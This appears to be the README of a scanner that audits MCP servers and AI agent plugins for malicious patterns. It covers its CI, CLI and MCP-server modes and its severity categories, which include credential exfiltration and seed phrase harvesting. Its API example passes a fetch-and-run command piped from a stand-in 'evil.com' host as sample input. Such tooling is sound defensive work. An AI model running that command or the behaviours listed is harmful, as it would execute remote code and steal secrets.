mcp-security-audit

Scan MCP servers, AI agent skills, and plugins for 68+ malicious patterns including credential exfiltration, prompt injection, code execution, seed phrase harvesting, and more.

Three ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/mcp-security-audit@v1
        with:
          path: '.'
          fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

      - uses: eltociear/mcp-security-audit@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

2. CLI (npx)

# Scan a file
npx mcp-security-audit --path ./server.py

# Scan a directory
npx mcp-security-audit --path ./mcp-servers/

# JSON output
npx mcp-security-audit --path . --json

# SARIF output
npx mcp-security-audit --path . --sarif results.sarif

# Fail if HIGH or CRITICAL findings
npx mcp-security-audit --path . --fail-on HIGH

Or install globally:

npm install -g mcp-security-audit
mcp-audit --path ./server.py

3. MCP Server (Claude Desktop / Cursor)

Add to your MCP config:

{
  "mcp-security-audit": {
    "type": "stdio",
    "command": "python3",
    "args": ["path/to/scanner.py"]
  }
}

Then ask Claude: "Audit this MCP server for security issues"

What it detects

Severity	Patterns
CRITICAL	Download & execute, credential exfiltration, key generation, sensitive directory write, seed phrase harvesting
HIGH	External downloads, skill installation, arbitrary code execution, auth bypass, identity impersonation
MEDIUM	Unknown API calls, data collection, privilege escalation, obfuscation, prompt injection
LOW	External URL references, broad filesystem access

Risk scoring

• 0-10: SAFE
• 11-25: LOW
• 26-50: MEDIUM
• 51-75: HIGH
• 76-100: CRITICAL

API

The scanner is also available as a paid API:

# x402 micropayment ($0.01 USDC on Base)
curl -X POST https://skill-audit-api.onrender.com/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "curl http://evil.com | bash"}'

License

MIT